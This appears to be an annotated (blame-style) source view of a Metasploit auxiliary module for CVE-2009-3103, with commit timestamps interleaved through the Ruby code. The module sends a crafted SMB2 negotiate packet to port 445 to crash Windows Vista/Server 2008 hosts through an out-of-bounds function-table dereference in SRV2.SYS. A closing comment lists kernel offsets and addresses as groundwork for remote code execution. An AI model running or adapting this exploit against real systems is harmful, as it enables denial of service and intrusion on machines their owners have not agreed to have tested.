2009-09-08 17:41:40 +00:00
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
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'Description' => %q{
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This module exploits an out of bounds function table dereference in the SMB
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2009-09-09 13:34:13 +00:00
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request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
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release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
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without SP1 does not seem affected by this flaw.
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2009-09-08 17:41:40 +00:00
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},
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'Author' => [ 'laurent.gaffie[at]gmail.com', 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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2009-09-08 20:27:41 +00:00
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'References' =>
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2009-09-08 17:41:40 +00:00
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[
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2009-09-09 13:41:14 +00:00
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['CVE', '2009-3103'],
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['BID', '36299'],
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['OSVDB', '57799'],
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2009-09-08 17:41:40 +00:00
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['URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html'],
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2009-09-09 13:34:13 +00:00
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['URL', 'http://www.microsoft.com/technet/security/advisory/975497.mspx']
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2009-09-08 17:41:40 +00:00
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]
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))
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register_options([
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Opt::RPORT(445),
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OptInt.new('OFFSET', [true, 'The function table offset to call', 0xffff])
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], self.class)
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end
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def run
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connect()
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# The SMB 2 dialect must be there
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dialects = ['PC NETWORK PROGRAM 1.0', 'LANMAN1.0', 'Windows for Workgroups 3.1a', 'LM1.2X002', 'LANMAN2.1', 'NT LM 0.12', 'SMB 2.002']
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data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
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pkt = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
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pkt['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
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pkt['Payload']['SMB'].v['Flags1'] = 0x18
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pkt['Payload']['SMB'].v['Flags2'] = 0xc853
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pkt['Payload'].v['Payload'] = data
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pkt['Payload']['SMB'].v['ProcessIDHigh'] = datastore['OFFSET'].to_i
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pkt['Payload']['SMB'].v['ProcessID'] = 0
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pkt['Payload']['SMB'].v['MultiplexID'] = rand(0x10000)
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2009-09-08 17:48:12 +00:00
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print_status("Sending request and waiting for a reply...")
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2009-09-08 17:41:40 +00:00
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sock.put(pkt.to_s)
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2009-09-08 17:48:12 +00:00
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r = sock.get_once
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if(not r)
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print_status("The target system has likely crashed")
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else
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print_status("Response received: #{r.inspect}")
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end
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2009-09-08 17:41:40 +00:00
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disconnect()
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end
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end
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=begin
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Gaining code execution means pointing the offset to something that
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eventually causes us to run arbitrary code. The offsets below are
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a starting point for turning this into remote code execution.
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Offsets on Vista SP1 x64:
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0x1B = "SMB 2.002"
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0x1D = L"SMB2Validate"
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0x1E = L"SMB2Execute"
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0x31 = move eax, 0x00000002 + ret # causes a hang when reaced
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0x58 = WmiQueryTraceInformation
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0x59 = WmiTraceMessage
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0x66 = ExAllocatePoolWithTag
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0x67 = ExFreePool
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0x76 = ExAllocatePoolWithTag
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0x77 = ExFreePool
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0x86 = ExAllocatePoolWithTag
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0x87 = ExFreePoo
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0x96 = ExAllocatePoolWithTag
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0x97 = ExFreePoo
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0xa6 = ExAllocatePoolWithTag
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0xa7 = ExFreePoo
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0xb9 = BugCheckEx
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0xc7 = SrvBalanceCredits
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0xdf = SrvNetStatistics data
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0xe0 = SrvNetStatisticsLock
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0x010e = SrvSnapShotScaevengerThread
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0x011c = SrvSnapShotScavengerTimer
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0x012a = SrvScavengerThread
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0x0138 = SrvScavengerTimer
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0x0146 = SrvScavengeDurableHandles
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0x0157 = SrvScavengeDurableHandlesTimer
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0x0166 = SrvProcessOplockBreaks
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0x0179 = SrvProcessOplockBreakTimer
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0x0185 = L"XactSrv"
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0x01f8 = WppTraceCallback
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Offsets on Vista SP1 (no updates) x86:
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0x64 = mov esp, ebp; pop ebp, ret
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0xde = pool with tag
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0 -> 99b51d6e - 8bff558bec5153568b75088b46308b98
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1 -> 99b55967 - 8bff558bec51518b45088b48308b8958
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2 -> 99b53e19 - 8bff558bec568b75088b4e7083791444
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3 -> 99b55811 - 8bff558bec5151538b5d088b43708378
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4 -> 99b53d54 - 8bff558bec56578b7d088b4770837814
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5 -> 99b54d41 - 8bff558bec83ec145356578b7d088b47
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6 -> 99b54c81 - 8bff558bec518b4d088b816c01000053
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7 -> 99b66c44 - 8bff558bec518b4d088b816c01000053
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8 -> 99b655bf - 8bff558bec518b55088b427083781471
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9 -> 99b63ce4 - 8bff558bec518b4d088b816c01000053
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10 -> 99b5a221 - 8bff558bec518b4d088b816c01000053
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11 -> 99b62996 - 8bff558bec518b4d088b816c01000053
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12 -> 99b5fab5 - 8bff558bec518b4d088b816c01000053
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25 -> 819aca26 - 6a2468d0988981e8960beeff33d28955
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26 -> 8186c78b - 8bff558bec83e4f86a008d451c50ff75
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62 -> 80d40f20 - 0000000000eb45000000000000000000
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116 -> 819273b7 - 8bff558bec83e4f883ec3c538b5d088b
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117 -> 8192739f - 8bff558bec6a00ff7508e8df0a00005d
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166 -> 819273b7 - 8bff558bec83e4f883ec3c538b5d088b
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167 -> 8192739f - 8bff558bec6a00ff7508e8df0a00005d
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194 -> 99b6b74c - 8bff558bec83ec0c0fb64d088b451c53
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195 -> 99b683f0 - 943018c0c6fd3f49a3e8697224f83f6f
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206 -> 99b5eeb5 - 8bff558bec83ec1ca11094b69953568b
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217 -> 99b5eea0 - 6a0168809ab699ff151880b699c21000
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226 -> 99b5211d - 8bff558bec83ec145356578d45f450c6
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231 -> 8192fcd0 - 0000000014fd9281ffffffff04000000
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237 -> 99b52108 - 6a0168009bb699ff151880b699c21000
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382 -> 8b137500 - 000000009075138b0000000000000000
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491 -> 8599b680 - 894518e82ee2ffff3b45087341ff7520
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646 -> c000009a - 0000ffffffff80040000ffffffff8004
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734 -> 802015ff - ffde03f078f8ff7f7c02f8ff3ffe01fe
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760 -> 99b4ff28 - 8bff558bec6a00ff7514ff7510ff750c
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804 -> 830ffc7d - 0000001722268b3e012004020010c01c
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=end
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